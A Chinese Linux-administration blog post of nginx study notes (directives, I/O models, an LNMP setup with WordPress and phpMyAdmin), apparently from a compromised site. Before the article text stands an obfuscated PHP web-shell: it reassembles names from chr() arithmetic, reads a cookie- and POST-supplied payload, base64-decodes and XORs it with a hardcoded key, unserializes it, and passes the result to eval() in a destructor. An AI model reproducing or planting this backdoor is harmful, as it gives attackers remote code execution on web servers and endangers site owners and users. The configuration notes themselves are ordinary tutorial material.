$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} nginx初步 | Linux运维部落

nginx初步

一、知识整理

1、查看进程使用的cpuni查看nice

[root@localhost html]# ps axo pid,comm,psr,ni
 43769 nginx             0  21  -2
 43770 nginx             3  21  -2
 43771 nginx             2  21  -2
 43775 ps                3  19   0

2C10K问题:并发达到10k

httpdprefork模型默认是256个,其采用select上限是1024个;

3OpenResty

OpenResty是一个基于 Nginx Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。

4 根据等待模式不同,IO动作可分为五种模式:

blocking I/O:阻塞式I/O:两步都阻塞

nonblocking I/O:非阻塞式I/O:忙等,阻塞在第二步

I/O multiplexing (select and poll)I/O复用:阻塞在复用IO

signal driven I/O (SIGIO):信号驱动式I/O:回调,阻塞第二阶段,解放第一阶段,可以接多个请求

asynchronous I/O (AIO_):异步I/O:解放两个阶段

5nginx的源码包编译安装,首先安装需要的环境和包:

[root@localhost nginx-1.10.0]# yum install openssl-devel  zlib-devel  pcre-devel  proxy-devel -y
[root@localhost nginx-1.10.0]# useradd -r nginx
[root@localhost nginx-1.10.0]# ./configure --prefix=/usr/local/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module --with-http_dav_module --with-http_stub_status_module --with-threads --with-file-aio

6nginx主进程主要完成如下工作:

    读取并验证配置信息;

    创建、绑定及关闭套接字;

    启动、终止及维护worker进程的个数;

    无须终止服务而重新配置工作特性;

    控制非中断式程序升级,启用新的二进制程序并在需要时回滚至老版本;

    重新打开日志文件;

    编译嵌入式perl脚本;

    worker进程主要完成的任务包括:

    接收、传入并处理来自客户端的连接;

    提供反向代理及过滤功能;

    nginx任何能完成的其它任务;

    cache loader进程主要完成的任务包括:

    检查缓存存储汇总的缓存对象;

    使用缓存元数据建立内存数据库;

    cache manager进程的主要任务:

    缓存的失效及过期检验;

 

二、命令详解

1、正常运行必备的配置:

Syntaxuser user [group]

Defaultuser nobody nobody

Contextmain

定义运行work进程时的用户和组,默认是nobody

pid /PATH/TO/PID_FILE

指定存储nginx主进程进程号码的文件路径。

include file | mask

指明包含进来的其他配置文件片段;

load_module_file

装载一个动态模块(1.9.11版本之后才有)

2、性能优化相关的配置:

worker_process number | auto

worker进程的数量;通常应该为当前主机的cpu物理核心数或减一,auto为与核心数相同

worker_cpu_affinity cpumask …;

worker_cpu_affinity auto [cpumask];(cpu掩码) auto是指随机使用核心,但不高效;

如:00000001 00000010 是指第0号和第1

worker_priority number

指定worker进程的nice-20~19,此处是-20~20)值,模式都是0,。设定worker进程优先级,优先被调度到cpu

worker_rlimit_nofile  (number of file)

worker进程能够打开的文件(每个连接至少一个套接字文件)数量上限。

3、事件驱动相关的配置;

worker_connections number;

每个worker进程所能够打开的最大并发连接数量;

use METHOD

指明并发连接请求的处理方法;默认是epoll

accept_mutex on|off

处理新的连接请求的方法;on时由个worker轮流处理新请求,off以为这每个新请求的到达都会通知所有的worker进程;

mutex互斥锁,默认是off,建议设置为on

4、定义虚拟主机的配置:

listen address[:port] [default_server] [ssl] [http2 | spdy] [backlog=number] [rcvbuf=size] [sndbuf=size]

 backlog=后援队列长度 rcvbuf:接受缓冲大小; sndbuf:发送缓冲大小

server_name name…

指明虚拟主机的主机名称;后可跟多个由空白字符分隔的字符串;

支持*通配任意长度的任意字符;server_name *.magedu.com

支持~起始的字符做正则表达模块匹配;server_name ~^www\d+\.amgedu\.com$

其中\d 表示0-9

匹配顺序机制:

首先是字符串精确匹配;

左侧*通配符通配;

右侧*通配符;

正则表达式匹配顺序最靠后。

tcp_nodelay on|off

对于GUI程序,如网络游戏程序(服务器需要实时跟踪客户端鼠标的移动),关闭TCP_NODELAY通常是正确的。

sendfile on|off:

sendfile系统调用是一种文件传输的系统调用kernel系统调用关系不大。nginx支持了sendfile之后,避免了内核层与用户层的上下文切换工作,大大减少了系统性能的开销;sendfile是个比 read write 更高性能的系统接口, 不过需要注意的是,sendfile 是将 in_fd 的内容发送到 out_fd 。而 in_fd 不能是 socket , 也就是只能文件句柄。 所以当 Nginx 是一个静态文件服务器的时候,开启 SENDFILE 配置项能大大提高 Nginx 的性能。 但是当 Nginx 是作为一个反向代理来使用的时候,SENDFILE 则没什么用了,因为 Nginx 是反向代理的时候。 in_fd 就不是文件句柄而是 socket,此时就不符合 sendfile 函数的参数要求了。

root和alias:

location /PATH/ 在之中定义root后,其路径是root定义的path/下的/PATH;定义了alias之后,其路径与别名是相对应的;(一个对应左侧,一个对应右侧) 在一个server中,location可以存在多个,用户实现从uri到文件系统的路径映射;nginx会根据用户请求的RUI来检查定义的所有location并找出一个最佳匹配,而后应用其配置。

5、客户端相关定义:

keepalive_timeout timeout [header_timeout];

设置保持连接的超时时长,0为禁止,默认75s

keepalive_requests number;

默认为100;在一次长连接所允许的数量;

keepalive_disable none | browser….;

设定对哪种浏览器关闭长连接;

send_timeout time

向客户端发送响应报文的超时时长,此处是指两次写操作之间的间隔时长;

client_body_buffer_size

默认是 16K,超出部分将被暂存到磁盘上的由下一条指定的path的指定的位置;

client_body_temp_path path [level1 [level2 [level3]]];

设定用户存储客户端请求报文的body部分临时存储路径及子目录结构和数量;

level是16进制的数字:

1 2 表示16个一级子目录下有256两个子目录,如下:

client_body_buffer_size 20K;

client_body_temp_path /tmp/nginx 1 2 2;

limit_rate rate

限制响应给客户端的传输速率;单位是bytes/second,0表示无限制;

limit_except method…

限制指定主机使用此类请求方法;allow,deny;

6、文件操作优化的配置:

alo on|off

默认是off,建议开启;

directio size|off

在服务器上启用,直接io机制,此处指文件大小大于指定大小时使用,将数据直接存入磁盘;默认是4M

open_file_cache max=N [inactive=time](非活动缓存时间,此处指定的时长内未被命中的或命中次数少于min_users指令所指定的次数的缓存项即为非活动项;过时清除)

N为缓存上线,达到上限后会使用LRU算法实现缓存管理;

打开文件缓存功能;存储文件描述符、大小、最近一次修改时间的元数据,缓存目录的结构,没有权限访问的文件的信息也会缓存下来。

open_file_cache_valid time

验证缓存有效期的检查时间;默认60s

open_file_cache_min_users number;

inactive参数指定的时长内,至少应被命中多少次方可被归类为活动项;

open_file_cache_errors on|off

是否缓存查找时发生错误的文件的相关信息;

7、基于basic机制的用户的控制:

auth_basic STRING|off

auth_basic_user_file file

8、location相关配置:

location [ = | ~ | ~* | ^~ ] uri {…}

location URI {};

对当前路径及子路径下的所有对象都生效;

location = URI;完全精确匹配,如若写为location /

则只会匹配www.magedu.com/

只对当前路径生效,不包括子路径;

location ~ URI {}

location ~* URI {}

模式匹配,此处的URI可使用正则表达式,~区分字符大小写;~*不区分大小写;

location ^~ URI {}

对左半部分做匹配检查,不区分大小写;

优先级:=最高,^~其次,~|~*相同,任何符号都没有的最末;不带符号代表以此起始的所有URL(文件,非路径);同样没有符号,以路径最长的优先;

9ngx_http_rewrite_module模块:

将用户请求的URI基于regex所描述的模式进行检查,而后完成替换;

rewrite REGEX REPLACEMENT [FLAG]

将用户请求的URI基于regex所描述的模式进行检查,匹配到时将其替换为replacement指定的新URI

注意:在同一级别配置块中存在多个rewrite规则,那么会自上而下逐个检查;并逐个替换,有可能形成死循环;[flag]所表示的标志位用于控制此循环机制;如果replacement是以http://或者https://开头,则替换结果会直接以重定向返回给客户端;

[flag]

last:默认;重写完成后停止对当前URI在当前location中后续的其它重写操作,而后对新的URI启动新一轮重写检查;

break:本次重写完成后,跳出循环,可用于防止死循环。以上两次都是nginx内部自动跳转;客户端只需要请求一次;

redirect:返回临时重定向的30x标识码,而使浏览器重新发送请求;不能写绝对路径即以httphttps开头。此flag使用户的客户端浏览器重新发出请求,而不是在nginx内部自动跳转;

permanent:永久重定向;

三、课后练习

练习:实现lnmp,提供多个虚拟主机;

(1) http, 提供wordpress

(2) https, 提供pma

步骤一:首先配置LNMP环境:

安装所需要的开发环境和mysql-serverphpphp-fpmphp-mysql

安装编译nginx所需要的环境并编译安装nginx

[root@localhost nginx-1.10.0]# yum install openssl-devel  zlib-devel  pcre-devel  proxy-devel -y
[root@localhost nginx-1.10.0]# useradd -r nginx
[root@localhost nginx-1.10.0]# ./configure --prefix=/usr/local/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module --with-http_dav_module --with-http_stub_status_module --with-threads --with-file-aio

配置nginx的环境变量等;

步骤二:更改php-fpm的配置文件:

[root@localhost ~]# vim /etc/php-fpm.d/www.conf

打开pingsessionpm_status功能,并将启动的属组属主更改为nginx

ping.path = /ping

php_value[session.save_path] = /var/lib/php/session

pm.status_path = /pm_status

user = nginx

group = nginx

配置mysql,更改root用户密码;此处因为安装在同一主机上,监听的IP都使用的127.0.0.1

开启mysql服务和php-fpm服务。

步骤三:配置虚拟主机1

server {

    listen 10.1.49.11:80;

    server_name www1.magedu.com;

    root /vhost/www1/;

    index index.php index.html;

    location ~* \.php$ {

        root /vhost/www1;

        fastcgi_index index.php;

        fastcgi_param SCRIPT_FILENAME /vhost/www1/$fastcgi_script_name;

        fastcgi_pass 127.0.0.1:9000;

        include fastcgi_params;

    }

    location ~* ^/(pm_status|ping)$ {

        include     fastcgi_params;

        fastcgi_pass 127.0.0.1:9000;

        fastcgi_param SCRIPT_FILENAME /vhost/www1/$fastcgi_script_name

    }

}

使用测试页测试:

[root@localhost ~]# cat /vhost/www1/index.php.bak 
<h1>Test Html</h1>
<?php
$conn=mysql_connect('localhost','root','magedu');
if ($conn)
echo "success";
else
echo "failure";
?>
<?php
phpinfo();
?>

blob.png

步骤四:安装WordPress

使用mysql授权用户:

MariaDB [(none)]> CREATE DATABASE wordpress ;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> USE wordpress
Database changed
MariaDB [wordpress]> GRANT ALL ON wordpress.* TO 'word'@'127.0.0.1' IDENTIFIED BY 'magedu';
Query OK, 0 rows affected (0.01 sec)
MariaDB [wordpress]> GRANT ALL ON wordpress.* TO 'word'@'localhost' IDENTIFIED BY 'magedu';
Query OK, 0 rows affected (0.00 sec)
MariaDB [wordpress]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

WordPress其父目录更改为可写:

[root@localhost vhost]# chown root:nginx www1 
[root@localhost vhost]# chmod g+w www1
[root@localhost vhost]# ll
总用量 4
drwxrwxr-x. 5 root nginx 4096 10月 15 06:50 www1
drwxr-xr-x. 2 root root    22 10月 15 06:10 www2

启动安装步骤:

blob.png

blob.png

blob.png

步骤五:配置虚拟主机2

server {

    root /vhost/www2/;

    server_name www2.magedu.com;

    listen 443 ssl;

    index index.html index.htm index.php;

    ssl on;

    ssl_certificate /etc/nginx/ssl/nginx.crt;

    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    ssl_session_cache shared:sslcache:20m;

    location ~* \.php$ {

        root /vhost/www2/;

        fastcgi_index index.php;

        fastcgi_param SCRIPT_FILENAME /vhost/www2/$fastcgi_script_name;

        fastcgi_pass 127.0.0.1:9000;

        include fastcgi_params;

    }

}

步骤六:生成证书:

[root@localhost ssl]# (umask 077;openssl genrsa -out nginx.key 2048)
[root@localhost ssl]# openssl req -new -key nginx.key -out nginx.csr -days 365
[root@localhost ssl]# openssl ca -in nginx.csr  -out nginx.crt -days 365

访问验证:

blob.png

步骤七:安装pma

[root@localhost phpMyAdmin-4.0.5-all-languages]# cp ./* -rf  /vhost/www2/
[root@localhost www2]# chown root:nginx ./* -R
[root@localhost www2]# cp config.sample.inc.php config.inc.php 
[root@localhost www2]# vim config.inc.php

添加随机数,安装:

报错:安装mbstringphp-gd包:

blob.png

[root@localhost Packages]# yum install php-mbstring  php-gd

重载服务,刷新访问:

[root@localhost Packages]# systemctl reload php-fpm

blob.png

blob.png

添加mcrypt扩展,重载访问:

[root@localhost Packages]# yum install php-mcrypt

blob.png

原创文章,作者:SilencePavilion,如若转载,请注明出处:http://www.178linux.com/56381

(0)
上一篇 2016-10-31 09:50
下一篇 2016-10-31 10:56

相关推荐

  • Linux简介和基础

    一、系统和硬件 无论是Linux、OS X、Windows操作系统,他们都是由以下部分组成(分层结构): 最底层:硬件 底层之上:将硬件的接口抽象成为系统调用(kernel) 再之上:库 再此之上为:应用程序 程序的运行可以有两种方式: 1、开机自动启动运行 2、用户通过交互式接口登陆或者连接系统上去,来手动运行程序 二、终端: 1、物理终端:我们可以将显示…

    Linux干货 2017-09-02
  • 数据库

    数据库系统理论概述(一) –本文主要讲述: – 1.数据库和数据库管理系统 – 2.使用传统的文件系统对大量数据管理存在的问题 – 3.常见的数据库系统模型 – 4.数据库视图 – 5.数…

    Linux干货 2016-10-30
  • Net-25第5周作业

    1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行; grep -E "^[[:space:]]+" /boot/grub/grub.conf 2、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行; grep&nbsp…

    Linux干货 2017-01-03
  • 文件的权限详解(一)

    文件的权限 修改文件的属主和属组 chown 功能:更改属主命令,同时也能更改属组用法:   chown  选项  [属主名][:属组名]  文件名  (分隔符改成.也行) chown  选项   参考的文件=要更改的文件 chown [OPTION]… –reference=R…

    Linux干货 2016-08-04
  • N22-第一周作业

    1、描述计算机的组成及其功能    组成:        硬件:            CPU:运算器、控制器、寄存器、缓存     &nb…

    Linux干货 2016-08-15
  • Linux程序包管理rpm

    CentOS系统上rpm命令管理程序包: 安装、卸载、升级、查询、校验、数据库维护  安装: rpm {-i|–install} [install-options] PACKAGE_FILE … -v: verbose -vv: -h: 以#显示程序包管理执行进度;每个#表示2%的进度  rpm -ivh PACK…

    Linux干货 2015-06-21